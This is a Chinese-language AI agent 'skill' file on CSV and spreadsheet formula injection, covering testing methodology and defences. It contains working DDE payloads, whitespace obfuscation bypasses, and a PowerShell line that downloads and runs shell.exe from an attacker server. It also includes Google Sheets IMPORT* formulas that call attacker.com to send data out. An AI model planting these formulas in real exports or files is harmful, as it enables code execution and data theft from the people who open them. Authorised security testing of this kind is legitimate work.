csv-formula-injection

csv-formula-injection

热门

CSV / 电子表格公式注入(DDE、Excel/LibreOffice、Google Sheets IMPORT* 函数)。适用于导出、导入或用户自定义字段接入电子表格及报表工具的场景。

1528Star
197Fork
更新于 2026/6/16
SKILL.md
只读
名称
csv-formula-injection
描述

CSV / 电子表格公式注入(DDE、Excel/LibreOffice、Google Sheets IMPORT* 函数)。适用于导出、导入或用户自定义字段接入电子表格及报表工具的场景。

SKILL:CSV 公式注入

AI 加载指令:本 Skill 涵盖 CSV 及电子表格环境下的公式/DDE 注入、混淆技巧、在线表格基础原语以及安全测试方法学。仅限在获得明确授权的前提下使用;会调用本地命令或发起远程请求的 Payload 具有破坏性——请优先选择实验靶场环境并留存授权凭证。若无明确允许客户端执行测试的项目规则,切勿针对终端用户开展测试。

0. 快速上手

当单元格在 Excel、LibreOffice Calc 或类似软件中被打开时,以下字符可能会触发公式解析与执行(通常前提是该单元格被识别为公式):

=
+
-
@

测试用的单元格内容示例如下:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

测试路由提示:在针对 CSV 导出、后台报表或电子表格打开的用户数据进行测试时,应优先对上述前缀字符进行探测。


1. DDE 注入(EXCEL / LIBREOFFICE)

动态数据交换(DDE)及外部调用模式在电子表格中有着被滥用的历史。以下为仅用于可控实验靶场复现的示例:

DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'

PowerShell 链式调用形式(仅限实验环境;请将主机地址及 Payload 替换为无害的等效内容):

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

2. 混淆绕过

防御性解析器可能会过滤明显的模式;测试人员可尝试插入干扰噪声与空格(同样仅限授权范围内使用):

AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

= 后添加多余空格:

=         cmd|'/c calc.exe'!A

字符分散 / 异常空格间隔(概念性模式——请根据具体的解析器调整):

=    C    m D    |'/c calc.exe'!A

rundll32 风格:

=rundll32|'URL.dll,OpenURL calc.exe'!A

3. GOOGLE SHEETS 在线表格

如果导出的数据随后在 Google Sheets 中打开,或者表格从不可信的 CSV 中拉取数据,以下函数可能会导致外发网络请求跨文档数据提取

数据带外提取 / 探测(请将 URL 替换为你已获授权的回调地址):

=IMPORTXML("http://attacker.com/", "//a/@href")

其他高风险导入函数:

=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")

请记录触发执行的函数名称以及由此产生的网络侧效应。


4. 测试方法学

  1. 梳理输出数据汇(Sink) — 寻找所有能生成 CSV、XLSX 或制表符分隔输出的功能模块:如管理员数据导出、审计日志、用户名册、账单报表、搜索结果等。
  2. 追踪用户可控字段 — 个人资料字段、工单标题、交易备注、标签、ZIP 导出包中的文件名——即任何会原样回显存储输入的列。
  3. 注入公式前缀 — 先插入无害算术表达式(如 =1+1+1+1)探测是否会被解析执行;仅在授权规则许可的前提下进行后续深入。
  4. 在目标软件中打开验证 — 还原受害者真实的操作流程:Excel 桌面版、LibreOffice、Google Sheets 导入,以及不同区域设置下的小数分隔符差异。
  5. 留存测试凭证 — 截图并记录单元格是显示了计算结果、弹出了安全警告还是输出了 DDE 提示;同时记录软件的具体版本号。

注意:重点关注 用户输入 -> 数据导出 -> 在电子表格软件中打开 这条完整的调用链路。


5. 防御方案

应用层与数据导出层的防护手段:

  • 添加单引号前缀 — 在许多电子表格应用中,开头加上 ' 会强制将其解析为纯文本:例如 '=cmd|... 将以字面量形式展示。
  • 添加制表符(Tab)前缀 — 若解析管道处理得当,某些工具会将制表符开头的字段视为非公式的纯文本。
  • 过滤或转义首字符触发器 — 在导出数据时,移除或转义开头的 =, +, -, @(以及外观相似的 Unicode 变体字符)。
  • 规范 CSV 编码规范 — 统一使用适当的引号包裹;校验列数据类型;未经清洗净化切勿将原始公式字符串直接传入财务或报表模板中。
  • 安全意识引导 — 明确管理策略,未获策略许可前禁止开启外部数据拉取或 DDE 功能。

安全导出转换示例(概念性):

输入:  =1+1
输出: '=1+1   或   \t=1+1   或   依据 RFC 4180 对双引号进行转义的(空前缀)格式

注意:在关联业务导出、报表以及 API 导出参数进行分析时,请结合注入攻击、业务逻辑安全以及 API 安全相关的 Skill 综合研判。